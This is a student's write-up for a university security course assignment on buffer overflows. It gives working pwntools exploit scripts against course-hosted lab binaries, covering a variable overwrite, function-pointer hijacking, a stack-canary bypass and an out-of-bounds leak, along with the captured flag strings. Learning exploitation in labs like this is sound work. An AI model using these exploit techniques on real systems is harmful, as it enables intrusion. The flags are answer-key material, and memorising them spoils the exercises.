INF226 Assignment 1 - Buffer Overflow

Exercise 1.

1. a brief description of the vulnerability

The program contains a buffer overflow vulnerability. The 'fgets' function attempts to read up to 1024 characters from a standard input into a fixed-sized buffer of 16 bytes. This allows an attacker to overwrite adjacent memory, including the 'secret' variable.

2. a description of how you exploit the vulnerability

To exploit the vulnerability, I crafted an input string that overflows the buffer and overwrites the secret variable with the value 0xc0ffee. Since the buffer is 16 bytes long and the secret variable is stored immediately after the buffer in memory, the overflow is achieved by providing 16 bytes of filler data followed by the 4-byte value 0xc0ffee in little-endian format. This causes the program to mistakenly believe the correct secret value has been set, leading it to execute the code that displays the contents of flag.txt.

3. the code you used to exploit the vulnerability

```python
import socket

# Server address and port
server_address = 'oblig1.bufferoverflow.no'
server_port = 7001

# Crafting the payload:
# - 'A' * 16: Fill the buffer with 16 'A's.
# - '\xee\xff\xc0\x00': Overwrite the secret variable with 0xc0ffee (little-endian format).
payload = b'A' * 16 + b'\xee\xff\xc0\x00'

# Create a socket and connect to the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print(f'Connecting to {server_address}:{server_port}...')
    s.connect((server_address, server_port))

    # Send the payload to the server, as done with `echo`
    print(f'Sending payload: {payload}')
    s.sendall(payload + b'\n')  # Ensure sending a newline at the end like echo would

    # Receive the server's response
    response = s.recv(1024)
    print(f'Received response: {response.decode()}')

    # Keep the connection alive to check for more responses, like the flag
    while True:
        response = s.recv(1024)
        if not response:
            break
        print(f'Received response: {response.decode()}')
```

4. the string found in flag.txt.

{inf226_2024_m4yb3_y0u_1ik3_t34_b3tt3r}

Exercise 2.

1. a brief description of the vulnerability

The vulnerability is a buffer overflow in the function main(). Specifically, there is a char buffer[32] and a function pointer func_pt in the locals struct. The program uses fgets to read input into buffer without properly limiting the size of the input, allowing an attacker to overwrite the func_pt function pointer. This allows an attacker to redirect the program's control flow and call arbitrary functions by overwriting func_pt with the address of a desired function—in this case, the expose_flag() function.

2. a description of how you exploit the vulnerability

To exploit this vulnerability, the goal is to overwrite the func_pt function pointer with the address of the expose_flag()function, which prints the contents of the flag.txt file.

- Locating the expose_flag address: using objdump in the terminal

- Crafting the Payload: First, I sent a carefully constructed payload that fills the 32-byte buffer with arbitrary data ('A' * 32). This overflows the buffer and reaches the memory address where the function pointer func_pt is stored.

- Overwriting the Function Pointer: I appended the address of the expose_flag() function (0x4011a6) to the payload. This overwrites the func_pt function pointer with the address of expose_flag().

- Triggering the Exploit: When the program tries to call func_pt(), instead of calling the original pick_animal()function, it calls expose_flag(), which prints the contents of the flag.txt file, revealing the flag.

3. the code you used to exploit the vulnerability

Finding the address in the terminal:

```
(base) Kajas-MacBook-Pro:2 kajakiberg$ objdump -d ./2 | grep expose_flag
00000000004011a6 <expose_flag>:
```

Python script:

```python
from pwn import *
import time

# Server address and port for Exercise 2
server_address = 'oblig1.bufferoverflow.no'
server_port = 7002

# The address of expose_flag (as provided by objdump)
expose_flag_address = 0x4011a6

# Crafting the payload:
# 32 'A's to fill the buffer followed by the address of expose_flag in little-endian format
payload = b'A' * 32 + p64(expose_flag_address)

# Create a connection to the remote server
conn = remote(server_address, server_port)

# Print confirmation of connection
print(f'Connecting to {server_address}:{server_port}...')

# Log and print the initial response from the server
response = conn.recv(1024)  # Receive the first 1024 bytes from the server
print(f"Initial response from server: {response.decode()}")  # Decode and print the response

# Add a small delay to ensure the server is ready to receive the payload
time.sleep(1)

# Send the payload after inspecting the initial response
print(f'Sending payload: {payload}')
conn.sendline(payload)

# Receive the response after sending the payload
while True:
    try:
        response = conn.recv(1024)  # Receive in chunks of 1024 bytes
        if not response:
            break
        print(f"Received response: {response.decode()}")
    except EOFError:
        print("[*] Connection closed by the server")
        break

# Close the connection
conn.close()

```

4. the string found in flag.txt.

{inf226_2024_13t5_f14ming0!}

Exercise 3.

1. a brief description of the vulnerability

The program is vulnerable to a buffer overflow with a stack canary bypass. In this vulnerability, the program reads user input into a fixed-size buffer without properly validating the input length. This allows an attacker to write beyond the buffer's boundaries and overwrite critical data on the stack, such as the saved return address. The program includes a stack canary — a value placed on the stack between the buffer and the saved return address to detect buffer overflows. If the canary is modified, the program detects it and terminates, which is a security feature to prevent such attacks. However, if an attacker can leak the canary value, they can insert the correct canary back into the stack and successfully exploit the overflow without detection.

2. a description of how you exploit the vulnerability

Leak the Stack Canary: The first step in the exploit is to leak the stack canary, which is essential to bypassing the stack protection. Using the program's response, we identify the canary by interpreting a specific part of the stack memory, and we use this value to ensure the canary remains intact.

Construct a Malicious Payload:

- Buffer Overflow: After filling the buffer with a cyclic pattern (a known sequence of bytes), we reach the canary's position on the stack.

- Insert the Correct Canary: Once we obtain the correct canary, we insert it into the payload to bypass the stack smashing detection mechanism.

- Padding and Return Address Overwrite: After the canary, we insert additional padding to align the stack properly and then overwrite the return address with the address of the expose_flag() function, which will trigger the system call to print the flag.

3. the code you used to exploit the vulnerability

```
(base) Kajas-MacBook-Pro:3 kajakiberg$ objdump -d ./3 | grep -A 10 '<expose_flag>'
00000000004011a6 <expose_flag>:
  4011a6: 55                            pushq   %rbp
  4011a7: 48 89 e5                      movq    %rsp, %rbp
  4011aa: 48 8d 05 57 0e 00 00          leaq    3671(%rip), %rax        # 0x402008 <_IO_stdin_used+0x8>
  4011b1: 48 89 c7                      movq    %rax, %rdi
  4011b4: e8 97 fe ff ff                callq   0x401050 <system@plt>
  4011b9: 90                            nop
  4011ba: 5d                            popq    %rbp
  4011bb: c3                            retq
```

While the function technically starts at 0x4011a6 (with the pushq %rbp instruction), the real logic of the function begins at 0x4011a7 with the movq %rsp, %rbp instruction. This sets up the stack frame, and all subsequent instructions are needed to prepare the call to system("cat flag.txt").

```python
from pwn import *

# Remote server connection details
server_address = 'oblig1.bufferoverflow.no'
server_port = 7003

# Connect to the remote service
io = remote(server_address, server_port)
print(f"[*] Connected to {server_address} on port {server_port}")

# Receive the initial prompt and print it
initial_prompt = io.recvline().decode()
print(f"[*] Initial prompt: {initial_prompt}")

# Send the expected input to trigger the vulnerable behavior
io.sendline(b"24")  # Arbitrary value to proceed in the program
io.recvline().decode()  # Receive and discard the next line (if there is one)

# Receive the canary leak and decode it
response = io.recvline().decode()
print(f"[*] Received response for canary: {response}")

# Convert the canary value from hex string to integer
canary_location = int(response, 16)
print(f"[*] Leaked canary: {hex(canary_location)}")

# Set up the necessary addresses and buffer sizes
expose_flag_addr = p64(0x4011a7)  # Address of expose_flag, packed as 64-bit
padding = 8  # Padding to reach the return address

# Construct the payload:
# 1. Buffer overflow (cyclic pattern of 24 bytes)
# 2. Canary (from leaked value)
# 3. Padding (to align the stack)
# 4. Address of expose_flag function
payload = cyclic(24) + p64(canary_location) + b'B' * padding + expose_flag_addr

# Print the constructed payload (for debugging purposes)
print(f"[*] Constructed payload: {payload}")

# Send the payload to the server
io.sendline(payload)
print("[*] Payload sent")

# Receive and print the result after sending the payload
result = io.recvall().decode()
print(f"[*] Final result: {result}")

# Close the connection
io.close()
print("[*] Connection closed")
```

4. the string found in flag.txt.

{inf226_2024_1nd14n4_j0n35_w0uld_b3_pr0ud}

Exercise 4.

1. a brief description of the vulnerability

The program is vulnerable to a buffer overflow caused by inadequate bounds check on user input. It defines a structure with a small 16-byte buffer but reads a number from the user and uses it as an offset to access memory. This allows the program to read memory outside the bounds of the buffer, potentially leaking sensitive information such as pointers or secrets stored elsewhere in memory. The program prints the contents of memory at the location determined by the buffer base plus the user-provided offset, making it vulnerable to memory leaks and pointer manipulation.

2. a description of how you exploit the vulnerability

- Leak Memory Beyond the Buffer: By sending the number 48 to the program when it asks for a favorite number, we provide an offset that accesses memory beyond the 16-byte buffer. This allows us to read the contents of memory at an important location, likely revealing a useful memory address, such as the location of the secret argument passed to the program.

- Construct a Payload: After leaking the address from memory, we parse this value and use it to construct a payload. The payload consists of a cyclic pattern that overflows the buffer, followed by the leaked memory address. This overwrites the identifier pointer in the program, causing it to point to the secret.

- **Trigger the Vulnerable Condition**: Once the identifier pointer is overwritten to point to the secret, we trigger the condition where the program compares the identifier with the secret. Since the identifier now correctly points to the secret, the condition is met, and the program executes the code to reveal the flag.

3. the code you used to exploit the vulnerability

```python
from pwn import *

# Connect to the remote service
id = 'oblig1.bufferoverflow.no'
port = 7004
io = remote(id, port)

# Send the number 48 as the offset to the program.
io.sendline(b"48")

# Step-by-step receiving lines to understand the server's response

# Read the first line of output from the server
print("Step 1: Received ->", io.readline(timeout=1).decode('utf-8', errors='replace'))

# Read the second line (could be more instructions or data from the server)
print("Step 2: Received ->", io.readline(timeout=1).decode('utf-8', errors='replace'))

# Read the third line (expecting something potentially useful for the exploit)
print("Step 3: Received ->", io.readline(timeout=1).decode('utf-8', errors='replace'))

# This line contains the secret value we need to parse and use later
secret = io.readline(timeout=1).strip()  # Strip any newline characters
print(f"Step 4: Received secret -> {secret.decode('utf-8')}")

# Read the next line for additional information from the server
print("Step 5: Received ->", io.readline(timeout=1).decode('utf-8', errors='replace'))

# Convert the secret from the server (hex string) to an integer
secret = int(secret, 16)
print(f"[INFO] Parsed secret as integer: {hex(secret)}")
```

```python

# Construct the payload
# Buffer overflow with cyclic pattern to fill the buffer, followed by the secret as the return address
payload = cyclic(16) + p64(secret)

# Send the payload to overwrite the return address with the secret
print(f"[INFO] Sending payload: {payload}")
io.sendline(payload)

# Close the sending stream after sending the payload
io.shutdown("out")

# Read and print all remaining data (output after sending the payload)
result = io.readall(timeout=2)
print("[INFO] Final output:")
print(result.decode('ascii', errors='replace'))

# Close the connection
io.close()

```

4. the string found in flag.txt.

{inf226_2024_n0_gu35t_5h0ld_kn0w}